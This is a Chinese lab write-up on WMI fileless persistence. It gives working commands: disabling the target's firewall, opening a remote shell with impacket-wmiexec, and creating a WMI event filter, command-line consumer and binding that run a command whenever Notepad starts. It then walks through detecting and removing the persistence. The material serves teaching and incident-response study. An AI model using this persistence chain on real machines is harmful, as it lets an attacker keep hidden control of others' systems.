WMI全名为Windows管理规范,主要用于管理和监控各种系统资源,同时,其还可以订阅系统事件,如:进程创建/终止、USB设备插入、注册表变更时允许用户订阅系统事件并在事件触发时自动执行操作等。所以通过WMI来进行持久化的无文件攻击对于红队/攻击者来讲是个不错的选择。
WMI无文件持久化的核心逻辑就是通过WMI的订阅系统事件的功能对主机进行无文件持久化攻击,实战中的杀伤链通常如下:
钓鱼/漏洞利用——>拿到初始入口点——>宏/VBS——>初步的无文件落地攻击——>创建WMI过滤器——>伪装成系统进程——>创建WMI消费者——>嵌入powershell——>等待触发条件——>完成C2连接
复现:
攻击机:kali 2025 IP:192.168.153.136
靶机:Windows10 专业版 IP:192.168.153.137
注:WMI无文件持久化旨在模拟已知靶机账号密码或已拿到shell情况下做持久化维权
1.首先使用命令对靶机防火墙进行关闭处理
2.在kali执行如下代码以利用SMB协议获得一个半交互式的CMD shell为后续执行WMI命令做条件
impacket-wmiexec Administrator:密码@192.168.153.137
3.在半交互式CMD下输入如下命令创建事件过滤器,作用是提醒当出现XXX动作(如打开记事本、插入USB设备等)时,立刻响应事件消费者
powershell -Command "$f=Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='MyFilter';EventNamespace='root\cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA ''Win32_Process'' AND TargetInstance.Name=''notepad.exe'''}; echo 'Filter_Created'"
整体命令翻译成中文大体为:
用PowerShell执行一条命令:创建一个WMI事件过滤器,存到系统订阅数据库里,名字叫MyFilter,每5秒检查一次有没有notepad.exe启动,创建成功就显示"Filter_Created"。
其中:powershell表示执行powershell程序
-commend表示执行后面的语句
$f为变量名用来存储后续的结果
Set-WmiInstance表示Powershell命令创建WMI对象
-Namespace后指定WMI命名空间
root\subscription用来命名空间路径也就是存储持久化对象的地方
__EventFilter表示事件过滤器
4.然后执行以下命令,目的是:创建一个执行器,等触发器(Filter)感应到notepad.exe启动时,自动执行cmd命令,在C盘留下"Hacked"痕迹,证明WMI持久化攻击成功。
powershell -Command "Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='MyConsumer'; CommandLineTemplate='cmd.exe /c \"echo Hacked > C:\success.txt\"'}"
翻译成中文大致是:
用PowerShell执行命令,创建WMI对象,命名空间选系统订阅数据库,类型是命令行消费者,名字叫MyConsumer,命令行模板是用cmd执行echo Hacked并输出到C盘success.txt文件。
然后其中
powershell 用PowerShell程序-Command 执行命令" 命令内容是Set-WmiInstance 创建WMI对象-Namespace 命名空间选root\subscription 系统订阅数据库(持久化位置)-Class 类型是CommandLineEventConsumer 命令行消费者(执行器)-Arguments 参数如下@{ 开始Name= 名字叫'MyConsumer' MyConsumer; 并且CommandLineTemplate= 命令行模板是'cmd.exe /c 用cmd执行\"echo Hacked 输出Hacked> 重定向到C:\success.txt\"' C盘success.txt文件} 结束" 命令结束
5.执行以下代码,目的是:让之前创建的感应器(检测notepad.exe)和执行器(写入Hacked文件)联动,打开记事本时自动执行命令,完成WMI无文件持久化攻击。
powershell -Command "Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter='\\.\root\subscription:__EventFilter.Name=\"MyFilter\"'; Consumer='\\.\root\subscription:CommandLineEventConsumer.Name=\"MyConsumer\"'}"
翻译为人话即为:
用PowerShell执行命令,创建WMI对象,命名空间选系统订阅数据库,类型是过滤器与消费者绑定,把名字叫MyFilter的过滤器和名字叫MyConsumer的消费者关联起来,让感应器触发时自动执行命令。
5.使用靶机打开C盘可以看到C盘下并无文件
这时我们再打开记事本,可以看到出现success.txt
应急视角:
1.同事反应发现时常会弹出类似success类的文件(实战中的恶意文件),删掉后会重新弹出(毕竟同事不是搞网安的,他压根不会去想为什么会重新出现的逻辑问题,甚至不会注意之前做过什么)
2.作为应急响应来讲,第一反应一定也必须是此台电脑中了持久性后门,虽仍需进一步排查,但此时可以先提交网络安全事件报告单,并且全程记录了(至少你不背锅),这时我们第一步操作是先判断此台电脑是业务网还是办公网,判断对该主机全面断网禁止通信是否会对业务造成比较重大的影响(安全从来都是需要考虑成本的)通过与同事沟通我们得知,该主机属于办公网主机,断网不会造成过大的影响,果断先对主机内存进行策略上的断网隔离。
3.首先对主机进行快照备份,然后利用 Autoruns 排查启动项,可以看到启动项里空空如也
4.继续排查计划任务,计划任务倒是有东西,但全是系统自带的,没什么太多值得多看的东西。
5.然后再看下服务里有没有一些奇奇怪怪的名字或者其他可疑的点比如说路径等,至于像恶意代码之类的也是没有看到
6.再排查下进程劫持,依然是没有看到什么有帮助的信息
7.然后看下WMI是否有异常,呕吼,真凶出现了,我们可以看到该WQL-query里出现了典型的无文件持久化攻击,并且每五秒轮回询问是否存在“打开记事本”这个动作,目前来看应该是这个的问题
8.我们先删除恶意程序(success.txt),然后根据这个恶意WMI的提示,打开记事本,果然又出现了
9.然后将这个恶意的WMI删掉,再次尝试打开记事本,这次不在出现success.txt文件,基本可以确定此次事件,是WMI无文件持久化攻击事件
10.然后通过应用程序和服务日志 -> Microsoft -> Windows -> WMI-Activity -> Operational来查找ID为5861的事件在这里我们看到了success.txt不断再生的原因,里面的内容以及153.136这个IP(实际上是我kali的IP)
11.实际上应该还需要再对153.136这个IP进行排查,然后找出攻击者真正的入口点并封堵,至此才能闭环,但是能力一般水平有限没做那么大的靶场,毕竟还是以学习WMI无文件持久化攻击为主要目标